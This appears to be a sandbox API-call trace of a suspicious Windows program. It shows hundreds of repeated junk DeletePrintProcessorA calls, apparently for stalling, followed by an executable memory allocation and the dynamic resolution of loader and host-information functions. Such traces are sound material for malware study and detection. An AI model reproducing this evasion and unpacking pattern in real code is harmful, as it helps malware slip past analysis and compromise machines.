[0064.895] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.896] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.897] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.898] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.899] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.900] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.901] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.902] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.903] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.904] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.905] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.906] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.907] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.908] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.909] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.910] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.911] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.912] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.913] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.914] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.915] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.916] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.917] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.918] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.919] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.920] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.921] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.922] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.923] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.924] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.925] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.926] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.927] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.928] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.929] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.930] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.930] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0064.937] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd10 | out: ProcedureAddress=0x12fd10*=0x763a2fb6) returned 0x0
[0064.937] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x150000
[0064.941] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd50 | out: ProcedureAddress=0x12fd50*=0x763a2fb6) returned 0x0
[0064.941] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x40) returned 0x160000
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a395c) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a33d3) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x763a2fb6) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x76392341) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7639db13) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x775cf774) returned 0x0
[0064.942] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x12fd6c | out: ProcedureAddress=0x12fd6c*=0x7763ad2e) returned 0x0
[0064.942] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x775c0000
[0064.943] GetProcAddress (hModule=0x775c0000, lpProcName="cos") returned 0x77607400
[0064.943] GetProcAddress (hModule=0x775c0000, lpProcName="sin") returned 0x775f41c0
[0064.943] GetProcAddress (hModule=0x775c0000, lpProcName="strchr") returned 0x77607690
[0064.943] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76350000
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="LoadLibraryA") returned 0x763a395c
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="lstrcmpA") returned 0x76388c59
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="CreateFileA") returned 0x7639cee8
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="CloseHandle") returned 0x7639ca7c
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleHandleA") returned 0x7639cf41
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="GetModuleFileNameA") returned 0x763a33f6
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameA") returned 0x76386ba9
[0064.943] GetProcAddress (hModule=0x76350000, lpProcName="GetComputerNameExA") returned 0x763df41f
